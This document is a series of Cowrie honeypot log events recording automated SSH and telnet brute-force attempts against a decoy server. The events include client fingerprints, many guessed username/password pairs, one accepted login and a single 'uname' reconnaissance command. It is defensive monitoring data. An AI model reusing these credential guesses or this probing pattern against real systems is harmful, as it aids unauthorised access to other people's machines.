{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:13.386056Z","src_ip":"176.65.132.129","session":"a932d9a928a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.13902521133423,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:13.444515Z","src_ip":"64.227.82.147","session":"935cb7afd0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:14.525511Z","src_ip":"176.65.132.129","session":"a932d9a928a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41036,"dst_ip":"10.17.0.5","dst_port":22,"session":"375980d79048","protocol":"ssh","message":"New connection: 176.65.132.129:41036 (10.17.0.5:22) [session: 375980d79048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.400941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.405827Z","src_ip":"176.65.132.129","session":"375980d79048","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.488236Z","src_ip":"176.65.132.129","session":"375980d79048","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":37094,"dst_ip":"10.17.0.5","dst_port":22,"session":"07467dc441f2","protocol":"ssh","message":"New connection: 198.98.56.227:37094 (10.17.0.5:22) [session: 07467dc441f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.510269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.525475Z","src_ip":"198.98.56.227","session":"07467dc441f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.732226Z","src_ip":"198.98.56.227","session":"07467dc441f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.739136Z","src_ip":"176.65.132.129","session":"375980d79048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.270017385482788,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:16.943468Z","src_ip":"64.227.82.147","session":"af4cc499d44d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456","message":"login attempt [ubuntu/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:17.611347Z","src_ip":"198.98.56.227","session":"07467dc441f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:17.825780Z","src_ip":"176.65.132.129","session":"375980d79048","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:18.624543Z","src_ip":"198.98.56.227","session":"07467dc441f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf70cce6190","protocol":"telnet","message":"New connection: 45.81.23.16:35638 (10.17.0.5:23) [session: 7bf70cce6190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:18.705843Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41044,"dst_ip":"10.17.0.5","dst_port":22,"session":"af356faaa062","protocol":"ssh","message":"New connection: 176.65.132.129:41044 (10.17.0.5:22) [session: af356faaa062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:19.747843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:19.752975Z","src_ip":"176.65.132.129","session":"af356faaa062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:19.831398Z","src_ip":"176.65.132.129","session":"af356faaa062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35648,"dst_ip":"10.17.0.5","dst_port":23,"session":"27fa6880fdf8","protocol":"telnet","message":"New connection: 45.81.23.16:35648 (10.17.0.5:23) [session: 27fa6880fdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:20.069365Z"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:20.352646Z","src_ip":"176.65.132.129","session":"af356faaa062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:21.437185Z","src_ip":"176.65.132.129","session":"af356faaa062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41046,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1e83e56ca91","protocol":"ssh","message":"New connection: 176.65.132.129:41046 (10.17.0.5:22) [session: f1e83e56ca91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.293895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.298430Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.380064Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.625434Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.822436Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.824971Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.909683Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:23.914607Z","src_ip":"176.65.132.129","session":"f1e83e56ca91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8878915309906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:25.429336Z","src_ip":"38.60.198.128","session":"96c9b330f29b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35898,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2f3928196f","protocol":"ssh","message":"New connection: 176.65.132.129:35898 (10.17.0.5:22) [session: 9d2f3928196f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:26.665340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:26.669681Z","src_ip":"176.65.132.129","session":"9d2f3928196f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:26.750948Z","src_ip":"176.65.132.129","session":"9d2f3928196f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:26.994478Z","src_ip":"176.65.132.129","session":"9d2f3928196f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.760309934616089,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:27.829559Z","src_ip":"45.81.23.16","session":"27fa6880fdf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:28.076667Z","src_ip":"176.65.132.129","session":"9d2f3928196f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2701f158da3","protocol":"ssh","message":"New connection: 176.65.132.129:35924 (10.17.0.5:22) [session: b2701f158da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:30.021449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:30.042668Z","src_ip":"176.65.132.129","session":"b2701f158da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:30.241238Z","src_ip":"176.65.132.129","session":"b2701f158da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:30.542155Z","src_ip":"176.65.132.129","session":"b2701f158da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:31.627788Z","src_ip":"176.65.132.129","session":"b2701f158da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35940,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dc1f75eadfb","protocol":"ssh","message":"New connection: 176.65.132.129:35940 (10.17.0.5:22) [session: 2dc1f75eadfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:33.645531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:33.650308Z","src_ip":"176.65.132.129","session":"2dc1f75eadfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:33.732024Z","src_ip":"176.65.132.129","session":"2dc1f75eadfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:33.977291Z","src_ip":"176.65.132.129","session":"2dc1f75eadfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:35.065693Z","src_ip":"176.65.132.129","session":"2dc1f75eadfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee5ee5c63bc1","protocol":"telnet","message":"New connection: 64.227.82.147:56448 (159.203.135.109:23) [session: ee5ee5c63bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:36.121976Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0e18b353914","protocol":"ssh","message":"New connection: 176.65.132.129:42620 (10.17.0.5:22) [session: c0e18b353914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:36.964922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:36.969986Z","src_ip":"176.65.132.129","session":"c0e18b353914","protocol":"ssh"}
